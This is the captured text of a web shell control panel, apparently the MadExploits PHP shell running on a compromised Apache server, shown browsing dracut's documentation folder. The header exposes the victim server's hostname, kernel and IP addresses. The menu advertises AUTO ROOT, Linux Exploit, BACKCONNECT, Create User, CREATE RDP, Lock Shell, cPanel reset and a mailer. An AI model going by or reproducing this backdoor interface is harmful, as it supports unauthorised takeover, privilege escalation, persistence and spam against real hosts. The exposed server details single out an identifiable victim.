Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 3.21.46.24
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
dracut-033 /
[ HOME SHELL ]
Name
Size
Permission
Action
AUTHORS
3.58
KB
-rw-r--r--
COPYING
17.67
KB
-rw-r--r--
HACKING
912
B
-rw-r--r--
NEWS
28.14
KB
-rw-r--r--
README
3.98
KB
-rw-r--r--
TODO
1.89
KB
-rw-r--r--
dracut.html
215.12
KB
-rw-r--r--
dracut.png
7.24
KB
-rw-r--r--
dracut.svg
68.34
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : HACKING
Right now, most of the testing is done using a qemu/kvm guest and generating the initramfs on another box but the support is all present to build for the "running" machine. For the former, you can boot the guest using qemu's -kernel and -initrd options. dracut exists and will build an image. It is command-line equivalent to most mkinitrd implementations and should be pretty straight-forward to use. To use, just run dracut with an output file name and, optionally, a kernel version (it defaults to using the current). The appropriate modules will be copied over and things should be good to go. If you'd like to customize the list of modules copied in, edit /etc/dracut.conf and set dracutmodules="foo bar baz" Note that dracut calls functional components in modules.d "modules" while kernel modules are called "drivers". Requirements: * udev * nfs module: nfs daemon and rpc helper * iscsi: iscsi
Close